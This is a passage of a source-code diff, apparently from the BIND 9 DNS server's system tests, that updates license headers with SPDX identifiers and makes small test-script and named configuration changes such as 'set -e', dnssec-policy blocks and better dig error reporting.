--- a/bin/tests/system/xferquota/ns1/root.db
+++ b/bin/tests/system/xferquota/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xferquota/ns2/example.db b/bin/tests/system/xferquota/ns2/example.db
index e47efcb4d4..e1d2b82044 100644
--- a/bin/tests/system/xferquota/ns2/example.db
+++ b/bin/tests/system/xferquota/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xferquota/ns2/named.conf.in b/bin/tests/system/xferquota/ns2/named.conf.in
index 99a6a0d5f1..f21938e035 100644
--- a/bin/tests/system/xferquota/ns2/named.conf.in
+++ b/bin/tests/system/xferquota/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 
 	transfers-in 5;
diff --git a/bin/tests/system/xferquota/setup.pl b/bin/tests/system/xferquota/setup.pl
index 0a40535cfe..ab5450cba8 100644
--- a/bin/tests/system/xferquota/setup.pl
+++ b/bin/tests/system/xferquota/setup.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/xferquota/setup.sh b/bin/tests/system/xferquota/setup.sh
index 18f36bc7e3..55e34b94f2 100644
--- a/bin/tests/system/xferquota/setup.sh
+++ b/bin/tests/system/xferquota/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/xferquota/tests.sh b/bin/tests/system/xferquota/tests.sh
index c6cf4ffd8c..46dfba0539 100755
--- a/bin/tests/system/xferquota/tests.sh
+++ b/bin/tests/system/xferquota/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
@@ -24,20 +28,16 @@ while [ $count != 300 ]; do
         if [ $ticks = 1 ]; then
 	        echo_i "Changing test zone..."
 		cp -f ns1/changing2.db ns1/changing.db
-		if [ ! "$CYGWIN" ]; then
-			$KILL -HUP `cat ns1/named.pid`
-		else
-			rndc_reload ns1 10.53.0.1
-		fi
+                kill -HUP $(cat ns1/named.pid)
 	fi
 	sleep 1
-	ticks=`expr $ticks + 1`
-	seconds=`expr $ticks \* 1`
+	ticks=$((ticks + 1))
+	seconds=$((ticks * 1))
 	if [ $ticks = 360 ]; then
 		echo_i "Took too long to load zones"
 		exit 1
 	fi
-	count=`cat ns2/zone*.bk | grep xyzzy | wc -l`
+	count=$(cat ns2/zone*.bk | grep xyzzy | wc -l)
 	echo_i "Have $count zones up in $seconds seconds"
 done
 
diff --git a/bin/tests/system/xferquota/tests_sh_xferquota.py b/bin/tests/system/xferquota/tests_sh_xferquota.py
new file mode 100644
index 0000000000..762e182585
--- /dev/null
+++ b/bin/tests/system/xferquota/tests_sh_xferquota.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_xferquota(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/zero/ans5/ans.pl b/bin/tests/system/zero/ans5/ans.pl
index 5671f9c998..3ca1083ad5 100644
--- a/bin/tests/system/zero/ans5/ans.pl
+++ b/bin/tests/system/zero/ans5/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl -w
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/zero/clean.sh b/bin/tests/system/zero/clean.sh
index fbad6226b7..2ef5727abf 100644
--- a/bin/tests/system/zero/clean.sh
+++ b/bin/tests/system/zero/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/zero/ns1/named.conf.in b/bin/tests/system/zero/ns1/named.conf.in
index e32d149c34..1334c85cf2 100644
--- a/bin/tests/system/zero/ns1/named.conf.in
+++ b/bin/tests/system/zero/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/zero/ns1/root.db b/bin/tests/system/zero/ns1/root.db
index c20b5fc460..fbcb3e2586 100644
--- a/bin/tests/system/zero/ns1/root.db
+++ b/bin/tests/system/zero/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zero/ns2/named.args b/bin/tests/system/zero/ns2/named.args
index b20594ea45..4b7aad606a 100644
--- a/bin/tests/system/zero/ns2/named.args
+++ b/bin/tests/system/zero/ns2/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 1 -D zero-ns2 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 1 -D zero-ns2 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/zero/ns2/named.conf.in b/bin/tests/system/zero/ns2/named.conf.in
index ad0e62b3e0..751eafdb0b 100644
--- a/bin/tests/system/zero/ns2/named.conf.in
+++ b/bin/tests/system/zero/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/zero/ns2/tld.db b/bin/tests/system/zero/ns2/tld.db
index 11b5b13765..0ffeb05185 100644
--- a/bin/tests/system/zero/ns2/tld.db
+++ b/bin/tests/system/zero/ns2/tld.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zero/ns3/named.args b/bin/tests/system/zero/ns3/named.args
index 9d89bd697c..e6f6060089 100644
--- a/bin/tests/system/zero/ns3/named.args
+++ b/bin/tests/system/zero/ns3/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 1 -D zero-ns3 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 1 -D zero-ns3 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/zero/ns3/named.conf.in b/bin/tests/system/zero/ns3/named.conf.in
index aa35d03fc5..7e0d1d7d16 100644
--- a/bin/tests/system/zero/ns3/named.conf.in
+++ b/bin/tests/system/zero/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,6 +21,7 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	dnssec-validation yes;
+	servfail-ttl 0;
 };
 
 zone "." {
diff --git a/bin/tests/system/zero/ns3/root.hint b/bin/tests/system/zero/ns3/root.hint
index c1784c7ee8..206e9526fd 100644
--- a/bin/tests/system/zero/ns3/root.hint
+++ b/bin/tests/system/zero/ns3/root.hint
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zero/ns4/named.args b/bin/tests/system/zero/ns4/named.args
index 09d1fe01fc..bd59f13b6c 100644
--- a/bin/tests/system/zero/ns4/named.args
+++ b/bin/tests/system/zero/ns4/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 1 -D zero-ns4 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 1 -D zero-ns4 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/zero/ns4/named.conf.in b/bin/tests/system/zero/ns4/named.conf.in
index 39574abff0..fc8fec6a5a 100644
--- a/bin/tests/system/zero/ns4/named.conf.in
+++ b/bin/tests/system/zero/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/zero/ns4/one.tld.db b/bin/tests/system/zero/ns4/one.tld.db
index 7706e44327..491ba87771 100644
--- a/bin/tests/system/zero/ns4/one.tld.db
+++ b/bin/tests/system/zero/ns4/one.tld.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zero/setup.sh b/bin/tests/system/zero/setup.sh
index dcbb18b9f2..bf58ee5c06 100644
--- a/bin/tests/system/zero/setup.sh
+++ b/bin/tests/system/zero/setup.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/zero/tests.sh b/bin/tests/system/zero/tests.sh
index edc6d64b2c..f5e2038815 100644
--- a/bin/tests/system/zero/tests.sh
+++ b/bin/tests/system/zero/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 #shellcheck source=conf.sh
 . ../conf.sh
 
@@ -38,22 +42,22 @@ awk '$2 == "0" { print "-q", $1, $4; print "-q", "zzz"$1, $4;}' > query.list
 timeout=$(($(wc -l < query.list) / 5))
 while [ $i -lt $passes ]
 do
-	(dig_with_opts @10.53.0.3 -f query.list > "dig.out$i.1.test$n") & pid1="$!"
-	(dig_with_opts @10.53.0.3 -f query.list > "dig.out$i.2.test$n") & pid2="$!"
-	(dig_with_opts @10.53.0.3 -f query.list > "dig.out$i.3.test$n") & pid3="$!"
-	(dig_with_opts @10.53.0.3 -f query.list > "dig.out$i.4.test$n") & pid4="$!"
-	(dig_with_opts @10.53.0.3 -f query.list > "dig.out$i.5.test$n") & pid5="$!"
-	(dig_with_opts @10.53.0.3 -f query.list > "dig.out$i.6.test$n") & pid6="$!"
-
-	retry_quiet "$timeout" wait_for_pid "$pid1" "$pid2" "$pid3" "$pid4" "$pid5" "$pid6" || ret=1
-	kill -TERM "$pid1" "$pid2" "$pid3" "$pid4" "$pid5" "$pid6" 2>/dev/null
-
-	wait "$pid1" || ret=1
-	wait "$pid2" || ret=1
-	wait "$pid3" || ret=1
-	wait "$pid4" || ret=1
-	wait "$pid5" || ret=1
-	wait "$pid6" || ret=1
+	(dig_with_opts -d +qr @10.53.0.3 -f query.list > "dig.out$i.1.test$n" 2>&1) & pid1="$!"
+	(dig_with_opts -d +qr @10.53.0.3 -f query.list > "dig.out$i.2.test$n" 2>&1) & pid2="$!"
+	(dig_with_opts -d +qr @10.53.0.3 -f query.list > "dig.out$i.3.test$n" 2>&1) & pid3="$!"
+	(dig_with_opts -d +qr @10.53.0.3 -f query.list > "dig.out$i.4.test$n" 2>&1) & pid4="$!"
+	(dig_with_opts -d +qr @10.53.0.3 -f query.list > "dig.out$i.5.test$n" 2>&1) & pid5="$!"
+	(dig_with_opts -d +qr @10.53.0.3 -f query.list > "dig.out$i.6.test$n" 2>&1) & pid6="$!"
+
+	retry_quiet "$timeout" wait_for_pid "$pid1" "$pid2" "$pid3" "$pid4" "$pid5" "$pid6" || { echo_i "wait_for_pid failed"; ret=1; }
+	kill -TERM "$pid1" "$pid2" "$pid3" "$pid4" "$pid5" "$pid6" 2>/dev/null || true
+
+	wait "$pid1" || { echo_i "wait $pid1 (dig.out$i.1.test$n) failed with $?"; ret=1; }
+	wait "$pid2" || { echo_i "wait $pid2 (dig.out$i.2.test$n) failed with $?"; ret=1; }
+	wait "$pid3" || { echo_i "wait $pid3 (dig.out$i.3.test$n) failed with $?"; ret=1; }
+	wait "$pid4" || { echo_i "wait $pid4 (dig.out$i.4.test$n) failed with $?"; ret=1; }
+	wait "$pid5" || { echo_i "wait $pid5 (dig.out$i.5.test$n) failed with $?"; ret=1; }
+	wait "$pid6" || { echo_i "wait $pid6 (dig.out$i.6.test$n) failed with $?"; ret=1; }
 
 	grep "status: SERVFAIL" "dig.out$i.1.test$n" > /dev/null && ret=1
 	grep "status: SERVFAIL" "dig.out$i.2.test$n" > /dev/null && ret=1
diff --git a/bin/tests/system/zero/tests_sh_zero.py b/bin/tests/system/zero/tests_sh_zero.py
new file mode 100644
index 0000000000..0e8ceb2626
--- /dev/null
+++ b/bin/tests/system/zero/tests_sh_zero.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_zero(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/zonechecks/a.db b/bin/tests/system/zonechecks/a.db
index 637d5eda79..62d1ee728e 100644
--- a/bin/tests/system/zonechecks/a.db
+++ b/bin/tests/system/zonechecks/a.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/aaaa.db b/bin/tests/system/zonechecks/aaaa.db
index 9c833a754f..75724d6990 100644
--- a/bin/tests/system/zonechecks/aaaa.db
+++ b/bin/tests/system/zonechecks/aaaa.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/bigserial.db b/bin/tests/system/zonechecks/bigserial.db
index 8925fc1e57..200573a10a 100644
--- a/bin/tests/system/zonechecks/bigserial.db
+++ b/bin/tests/system/zonechecks/bigserial.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/clean.sh b/bin/tests/system/zonechecks/clean.sh
index fd59a47ffc..330b242b04 100644
--- a/bin/tests/system/zonechecks/clean.sh
+++ b/bin/tests/system/zonechecks/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,7 +15,7 @@ rm -f *.out
 rm -f */named.memstats
 rm -f */named.conf
 rm -f */named.run
-rm -f */*.db */*.db.signed */K*.key */K*.private */*.jnl */dsset-*
+rm -f */*.db */*.db.signed */K*.key */K*.private */K*.state */*.jnl */dsset-*
 rm -f */signer.err
 rm -f rndc.out.*
 rm -f ns*/named.lock
diff --git a/bin/tests/system/zonechecks/cname.db b/bin/tests/system/zonechecks/cname.db
index 0bd9106070..2e8a123f41 100644
--- a/bin/tests/system/zonechecks/cname.db
+++ b/bin/tests/system/zonechecks/cname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/dname.db b/bin/tests/system/zonechecks/dname.db
index a5b4f0783c..b2859d1e32 100644
--- a/bin/tests/system/zonechecks/dname.db
+++ b/bin/tests/system/zonechecks/dname.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/noaddress.db b/bin/tests/system/zonechecks/noaddress.db
index 4227bd5f17..f656197743 100644
--- a/bin/tests/system/zonechecks/noaddress.db
+++ b/bin/tests/system/zonechecks/noaddress.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/ns1/named.conf.in b/bin/tests/system/zonechecks/ns1/named.conf.in
index 29dcbf4787..6821500147 100644
--- a/bin/tests/system/zonechecks/ns1/named.conf.in
+++ b/bin/tests/system/zonechecks/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,13 +28,21 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "zonechecks" {
+	inline-signing no;
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
 view unused {
 	match-clients { none; };
 
@@ -50,7 +60,7 @@ view primary {
 		file "primary.db";
 		allow-update { any; };
 		allow-transfer { any; };
-		auto-dnssec maintain;
+		dnssec-policy zonechecks;
 	};
 
 	zone "bigserial.example" {
diff --git a/bin/tests/system/zonechecks/ns2/named.conf.in b/bin/tests/system/zonechecks/ns2/named.conf.in
index 97176f8b8a..5ecf68b56f 100644
--- a/bin/tests/system/zonechecks/ns2/named.conf.in
+++ b/bin/tests/system/zonechecks/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/zonechecks/nxdomain.db b/bin/tests/system/zonechecks/nxdomain.db
index 7512e98cf4..853325dd20 100644
--- a/bin/tests/system/zonechecks/nxdomain.db
+++ b/bin/tests/system/zonechecks/nxdomain.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/zonechecks/setup.sh b/bin/tests/system/zonechecks/setup.sh
index 8f2d46a77a..76e8a19c2d 100644
--- a/bin/tests/system/zonechecks/setup.sh
+++ b/bin/tests/system/zonechecks/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -22,8 +24,8 @@ cp bigserial.db ns1/
 cd ns1
 touch primary.db.signed
